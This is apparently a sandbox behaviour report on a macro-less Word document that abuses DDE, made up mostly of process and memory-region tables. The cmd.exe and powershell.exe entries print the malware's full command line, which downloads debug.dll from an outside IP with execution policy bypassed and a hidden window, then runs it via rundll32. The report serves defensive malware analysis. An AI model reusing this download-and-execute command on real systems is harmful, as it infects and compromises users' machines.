Macro-less Word Doc. uses DDE to Execute Powershell, Download DLL | Sequential Behavior
Try VMRay Analyzer
URL Overview
Remarks
Critical The sample contacted only unknown URLs.
URL (1)
+
URL Connection Successful Reputation Status
213.183.51.187/debug.dll True
Unknown
Involved Hosts

Hostname IP Addresses Country City Protocols Has Blacklisted URL
213.183.51.187 NL Amsterdam HTTP, TCP False
Monitored Processes
Process Graph
Behavior Information - Sequential View
Process #1: winword.exe
+
Information Value
ID #1
File Name c:\program files\microsoft office\office15\winword.exe
Command Line "C:\Program Files\Microsoft Office\Office15\WINWORD.EXE"
Initial Working Directory C:\Users\BGC6u8Oy yXGxkR\Desktop\
Monitor Start Time: 00:00:09, Reason: Analysis Target
Unmonitor End Time: 00:02:15, Reason: Terminated by Timeout
Monitor Duration 00:02:06
Remarks No high level activity detected in monitored regions
OS Process Information
+
Information Value
PID 0x98c
Parent PID 0x618 (c:\windows\explorer.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username F71GWAT\BGC6u8Oy yXGxkR
Groups
  • F71GWAT\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:0000fcb0 (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x 9C4
0x 9C0
0x 9BC
0x 9B8
0x 9B4
0x 9B0
0x 9A4
0x 9A0
0x 99C
0x 998
0x 994
0x 990
0x A0C
0x A94
0x D24
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable False False False
  • Region Actions
pagefile_0x0000000000030000 0x00030000 0x00033fff Pagefile Backed Memory Readable False False False
  • Region Actions
pagefile_0x0000000000040000 0x00040000 0x00043fff Pagefile Backed Memory Readable False False False
  • Region Actions
locale.nls 0x00050000 0x000b6fff Memory Mapped File Readable False False False
  • Region Actions
private_0x00000000000c0000 0x000c0000 0x000c0fff Private Memory Readable, Writable False False False
  • Region Actions
pagefile_0x00000000000d0000 0x000d0000 0x000d1fff Pagefile Backed Memory Readable False False False
  • Region Actions
pagefile_0x00000000000e0000 0x000e0000 0x000e1fff Pagefile Backed Memory Readable False False False
  • Region Actions
pagefile_0x00000000000f0000 0x000f0000 0x001b7fff Pagefile Backed Memory Readable False False False
  • Region Actions
private_0x00000000001c0000 0x001c0000 0x001c0fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000001d0000 0x001d0000 0x002cffff Private Memory Readable, Writable False False False
  • Region Actions
pagefile_0x00000000002d0000 0x002d0000 0x003d0fff Pagefile Backed Memory Readable False False False
  • Region Actions
private_0x00000000003e0000 0x003e0000 0x003e0fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000003f0000 0x003f0000 0x003fffff Private Memory Readable, Writable False False False
  • Region Actions
pagefile_0x0000000000400000 0x00400000 0x00401fff Pagefile Backed Memory Readable False False False
  • Region Actions
private_0x0000000000410000 0x00410000 0x00419fff Private Memory Readable, Writable, Executable False False False
  • Region Actions
private_0x0000000000420000 0x00420000 0x0042ffff Private Memory False False False
  • Region Actions
private_0x0000000000430000 0x00430000 0x0052ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000530000 0x00530000 0x00560fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000570000 0x00570000 0x0057ffff Private Memory Readable, Writable False False False
  • Region Actions
pagefile_0x0000000000580000 0x00580000 0x0065efff Pagefile Backed Memory Readable False False False
  • Region Actions
pagefile_0x0000000000660000 0x00660000 0x00666fff Pagefile Backed Memory Readable False False False
  • Region Actions
pagefile_0x0000000000670000 0x00670000 0x00671fff Pagefile Backed Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000680000 0x00680000 0x00680fff Private Memory Readable, Writable False False False
  • Region Actions
pagefile_0x0000000000690000 0x00690000 0x00691fff Pagefile Backed Memory Readable False False False
  • Region Actions
private_0x00000000006a0000 0x006a0000 0x006a0fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000006b0000 0x006b0000 0x006bffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000006c0000 0x006c0000 0x006c0fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000006d0000 0x006d0000 0x006d0fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000006e0000 0x006e0000 0x006e0fff Private Memory Readable, Writable False False False
  • Region Actions
pagefile_0x00000000006f0000 0x006f0000 0x006f0fff Pagefile Backed Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000700000 0x00700000 0x007fffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000800000 0x00800000 0x00800fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000810000 0x00810000 0x00810fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000820000 0x00820000 0x00820fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000830000 0x00830000 0x00830fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000840000 0x00840000 0x00840fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000850000 0x00850000 0x00850fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000860000 0x00860000 0x00860fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000870000 0x00870000 0x00870fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000880000 0x00880000 0x00880fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000890000 0x00890000 0x00890fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000008a0000 0x008a0000 0x008affff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000008b0000 0x008b0000 0x009affff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000009b0000 0x009b0000 0x009cffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000009d0000 0x009d0000 0x009d0fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000009e0000 0x009e0000 0x009effff Private Memory Readable, Writable False False False
  • Region Actions
pagefile_0x00000000009f0000 0x009f0000 0x009f0fff Pagefile Backed Memory Readable False False False
  • Region Actions
private_0x0000000000a00000 0x00a00000 0x00a0ffff Private Memory Readable, Writable False False False
  • Region Actions
pagefile_0x0000000000a10000 0x00a10000 0x00a13fff Pagefile Backed Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000a20000 0x00a20000 0x00a20fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000a30000 0x00a30000 0x00a30fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000a40000 0x00a40000 0x00a7ffff Private Memory Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000000a80000 0x00a80000 0x00a81fff Pagefile Backed Memory Readable False False False
  • Region Actions
private_0x0000000000a90000 0x00a90000 0x00acffff Private Memory Readable, Writable False False False
  • Region Actions
pagefile_0x0000000000ad0000 0x00ad0000 0x00ad0fff Pagefile Backed Memory Readable False False False
  • Region Actions
pagefile_0x0000000000ae0000 0x00ae0000 0x00ae0fff Pagefile Backed Memory Readable False False False
  • Region Actions
msxml6r.dll 0x00af0000 0x00af0fff Memory Mapped File Readable False False False
  • Region Actions
{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000015.db 0x00b00000 0x00b25fff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x0000000000b30000 0x00b30000 0x00b30fff Pagefile Backed Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000b40000 0x00b40000 0x00b7ffff Private Memory Readable, Writable, Executable False False False
  • Region Actions
c_1255.nls 0x00b80000 0x00b90fff Memory Mapped File Readable False False False
  • Region Actions
private_0x0000000000ba0000 0x00ba0000 0x00c9ffff Private Memory Readable, Writable False False False
  • Region Actions
pagefile_0x0000000000ca0000 0x00ca0000 0x01092fff Pagefile Backed Memory Readable False False False
  • Region Actions
private_0x00000000010a0000 0x010a0000 0x010a0fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000010b0000 0x010b0000 0x010b0fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000010c0000 0x010c0000 0x010c0fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000010d0000 0x010d0000 0x010eefff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000010f0000 0x010f0000 0x010f0fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000001100000 0x01100000 0x01100fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000001110000 0x01110000 0x0111ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000001120000 0x01120000 0x0119ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000011a0000 0x011a0000 0x011a0fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000011b0000 0x011b0000 0x011b0fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000011c0000 0x011c0000 0x012bffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000012c0000 0x012c0000 0x012c0fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000012d0000 0x012d0000 0x012d0fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000012e0000 0x012e0000 0x012e0fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000012f0000 0x012f0000 0x012f0fff Private Memory Readable, Writable False False False
  • Region Actions
winword.exe 0x01300000 0x014d6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x00000000014e0000 0x014e0000 0x020dffff Pagefile Backed Memory Readable False False False
  • Region Actions
sortdefault.nls 0x020e0000 0x023aefff Memory Mapped File Readable False False False
  • Region Actions
private_0x00000000023b0000 0x023b0000 0x023b0fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000023c0000 0x023c0000 0x023c0fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000023d0000 0x023d0000 0x023d0fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000023e0000 0x023e0000 0x023e0fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000023f0000 0x023f0000 0x023f0fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000002400000 0x02400000 0x02400fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000002410000 0x02410000 0x02410fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000002420000 0x02420000 0x02420fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000002430000 0x02430000 0x02430fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000002440000 0x02440000 0x02440fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000002450000 0x02450000 0x02450fff Private Memory Readable, Writable False False False
  • Region Actions
pagefile_0x0000000002460000 0x02460000 0x02461fff Pagefile Backed Memory Readable False False False
  • Region Actions
private_0x00000000024f0000 0x024f0000 0x025effff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000002640000 0x02640000 0x0273ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000002760000 0x02760000 0x0279ffff Private Memory Readable, Writable False False False
  • Region Actions
pagefile_0x00000000027a0000 0x027a0000 0x02b9ffff Pagefile Backed Memory Readable False False False
  • Region Actions
staticcache.dat 0x02ba0000 0x034cffff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x00000000034d0000 0x034d0000 0x03ccffff Pagefile Backed Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003d10000 0x03d10000 0x03d4ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003db0000 0x03db0000 0x03dbffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003dd0000 0x03dd0000 0x03ecffff Private Memory Readable, Writable False False False
  • Region Actions
segoeui.ttf 0x03ed0000 0x03f4efff Memory Mapped File Readable False False False
  • Region Actions
private_0x0000000003f80000 0x03f80000 0x0407ffff Private Memory Readable, Writable False False False
  • Region Actions
kernelbase.dll.mui 0x04080000 0x0413ffff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x0000000004140000 0x04140000 0x0423ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000004240000 0x04240000 0x0433ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000004340000 0x04340000 0x0443ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000004440000 0x04440000 0x0453ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000004560000 0x04560000 0x0465ffff Private Memory Readable, Writable False False False
  • Region Actions
pagefile_0x0000000004660000 0x04660000 0x04a5ffff Pagefile Backed Memory Readable, Writable False False False
  • Region Actions
seguisb.ttf 0x04a60000 0x04ac3fff Memory Mapped File Readable False False False
  • Region Actions
private_0x0000000004b10000 0x04b10000 0x04b4ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000004d30000 0x04d30000 0x04d6ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000004d70000 0x04d70000 0x0516ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000005170000 0x05170000 0x0536ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000005370000 0x05370000 0x0576ffff Private Memory Readable, Writable False False False
  • Region Actions
pagefile_0x0000000005770000 0x05770000 0x05f6ffff Pagefile Backed Memory Readable, Writable False False False
  • Region Actions
private_0x0000000005f70000 0x05f70000 0x06370fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000006380000 0x06380000 0x06780fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000006790000 0x06790000 0x06b90fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000006ba0000 0x06ba0000 0x06d9ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000006da0000 0x06da0000 0x0725ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000007260000 0x07260000 0x0765ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000007660000 0x07660000 0x07e5ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000036890000 0x36890000 0x3689ffff Private Memory Readable, Writable, Executable False False False
  • Region Actions
osppc.dll 0x63a70000 0x63a9cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
riched20.dll 0x63aa0000 0x63c2dfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
adal.dll 0x63c30000 0x63ce4fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
mscoreei.dll 0x63cf0000 0x63d69fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
dwrite.dll 0x63e40000 0x63f49fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
d3d10warp.dll 0x63f50000 0x6407bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msores.dll 0x64080000 0x68d6afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
mso.dll 0x68d70000 0x6a653fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wwlib.dll 0x6a660000 0x6bb1bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
mscoree.dll 0x6bb30000 0x6bb79fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
d3d11.dll 0x6bb80000 0x6bc02fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msptls.dll 0x6bc10000 0x6bd25fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msointl.dll 0x6bd30000 0x6c0a0fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wwintl.dll 0x6c0b0000 0x6c16ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
d2d1.dll 0x6c170000 0x6c229fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
oart.dll 0x6c230000 0x6cfd7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
winspool.drv 0x6f5b0000 0x6f600fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msxml6.dll 0x6fa80000 0x6fbd7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
office.odf 0x70ac0000 0x70fbffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msi.dll 0x70fc0000 0x711fffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msvcp100.dll 0x71230000 0x71298fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msvcr100.dll 0x712a0000 0x7135efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
dxgi.dll 0x716f0000 0x71772fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
For performance reasons, the remaining 172 entries are omitted.
The remaining entries can be found in flog.txt.
Process #2: cmd.exe
(Host: 58, Network: 0)
+
Information Value
ID #2
File Name c:\windows\system32\cmd.exe
Command Line c:\Windows\System32\cmd.exe /k powershell.exe -ep Bypass -w Hidden -noprofile -noexit -c IEX (new-object System.Net.WebClient).DownloadFile('http://213.183.51.187/debug.dll','%temp%debug.dll');rundll32.exe '%temp%debug.dll' HOK
Initial Working Directory C:\Users\BGC6u8Oy yXGxkR\Desktop\
Monitor Start Time: 00:00:20, Reason: Child Process
Unmonitor End Time: 00:02:15, Reason: Terminated by Timeout
Monitor Duration 00:01:55
OS Process Information
+
Information Value
PID 0xa38
Parent PID 0x98c (c:\program files\microsoft office\office15\winword.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username F71GWAT\BGC6u8Oy yXGxkR
Groups
  • F71GWAT\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:0000fcb0 (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x A3C
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True True False
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000030000 0x00030000 0x00033fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000040000 0x00040000 0x00040fff Pagefile Backed Memory Readable True False False
  • Region Actions
locale.nls 0x00050000 0x000b6fff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x00000000000c0000 0x000c0000 0x00187fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000190000 0x00190000 0x0019ffff Private Memory Readable, Writable True True False
pagefile_0x00000000001a0000 0x001a0000 0x001a6fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x00000000001b0000 0x001b0000 0x001b1fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x00000000001c0000 0x001c0000 0x001c0fff Private Memory Readable, Writable True True False
private_0x00000000001d0000 0x001d0000 0x002cffff Private Memory Readable, Writable True True False
pagefile_0x00000000002d0000 0x002d0000 0x003d0fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x00000000003e0000 0x003e0000 0x003e0fff Private Memory Readable, Writable True True False
private_0x0000000000410000 0x00410000 0x0050ffff Private Memory Readable, Writable True True False
pagefile_0x0000000000510000 0x00510000 0x0110ffff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000001110000 0x01110000 0x01272fff Pagefile Backed Memory Readable True False False
  • Region Actions
sortdefault.nls 0x01280000 0x0154efff Memory Mapped File Readable False False False
  • Region Actions
cmd.exe 0x49e50000 0x49e9bfff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
winbrand.dll 0x721b0000 0x721b6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernelbase.dll 0x75470000 0x754b9fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msctf.dll 0x757c0000 0x7588bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernel32.dll 0x76590000 0x76663fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msvcrt.dll 0x76780000 0x7682bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
lpk.dll 0x76830000 0x76839fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
gdi32.dll 0x76840000 0x7688dfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
user32.dll 0x76890000 0x76958fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
usp10.dll 0x76e60000 0x76efcfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdll.dll 0x772a0000 0x773dbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
imm32.dll 0x77400000 0x7741efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
apisetschema.dll 0x774e0000 0x774e0fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x000000007f6f0000 0x7f6f0000 0x7f7effff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x000000007ffb0000 0x7ffb0000 0x7ffd2fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007ffde000 0x7ffde000 0x7ffdefff Private Memory Readable, Writable True True False
private_0x000000007ffdf000 0x7ffdf000 0x7ffdffff Private Memory Readable, Writable True True False
Threads
Thread 0xa3c
(Host: 50, Network: 0)
+
Category Operation Information Success Count Logfile
System Get Time type = System Time, time = 2017-10-11 11:01:08 (UTC) True 1
Fn
System Get Time type = Ticks, time = 54241 True 1
Fn
Module Get Handle module_name = c:\windows\system32\cmd.exe, base_address = 0x49e50000 True 1
Fn
Module Get Handle module_name = c:\windows\system32\kernel32.dll, base_address = 0x76590000 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = SetThreadUILanguage, address_out = 0x765e24c2 True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System False 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 3
Fn
File Open filename = STD_INPUT_HANDLE True 2
Fn
Environment Get Environment String True 2
Fn
Data
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 16, type = REG_NONE False 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
Module Get Filename process_name = c:\windows\system32\cmd.exe, file_name_orig = c:\Windows\System32\cmd.exe, size = 260 True 1
Fn
Environment Get Environment String name = PATH, result_out = C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 1
Fn
Environment Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 1
Fn
Environment Get Environment String name = PROMPT False 1
Fn
Environment Set Environment String name = PROMPT, value = $P$G True 1
Fn
Environment Get Environment String True 1
Fn
Data
Environment Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 1
Fn
Environment Get Environment String name = KEYS False 1
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\Desktop, type = file_attributes True 2
Fn
Environment Set Environment String name = =C:, value = C:\Users\BGC6u8Oy yXGxkR\Desktop True 1
Fn
Environment Get Environment String True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 3
Fn
Module Get Handle module_name = c:\windows\system32\kernel32.dll, base_address = 0x76590000 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = CopyFileExW, address_out = 0x765cac6c True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = IsDebuggerPresent, address_out = 0x765d3ea8 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = SetConsoleInputExeNameW, address_out = 0x765e2732 True 1
Fn
Environment Get Environment String name = temp, result_out = C:\Users\BGC6U8~1\AppData\Local\Temp True 2
Fn
File Get Info filename = powershell.exe, type = file_attributes False 1
Fn
Environment Get Environment String name = PATH, result_out = C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 1
Fn
Environment Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 1
Fn
Process Create process_name = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, os_pid = 0xa50, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL True 1
Fn
Environment Set Environment String name = COPYCMD, value = 0 True 1
Fn
Environment Get Environment String True 1
Fn
Data
Process #3: powershell.exe
(Host: 871, Network: 75)
+
Information Value
ID #3
File Name c:\windows\system32\windowspowershell\v1.0\powershell.exe
Command Line powershell.exe -ep Bypass -w Hidden -noprofile -noexit -c IEX (new-object System.Net.WebClient).DownloadFile('http://213.183.51.187/debug.dll','C:\Users\BGC6U8~1\AppData\Local\Tempdebug.dll');rundll32.exe 'C:\Users\BGC6U8~1\AppData\Local\Tempdebug.dll' HOK
Initial Working Directory C:\Users\BGC6u8Oy yXGxkR\Desktop\
Monitor Start Time: 00:00:20, Reason: Child Process
Unmonitor End Time: 00:02:15, Reason: Terminated by Timeout
Monitor Duration 00:01:55
OS Process Information
+
Information Value
PID 0xa50
Parent PID 0xa38 (c:\windows\system32\cmd.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username F71GWAT\BGC6u8Oy yXGxkR
Groups
  • F71GWAT\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
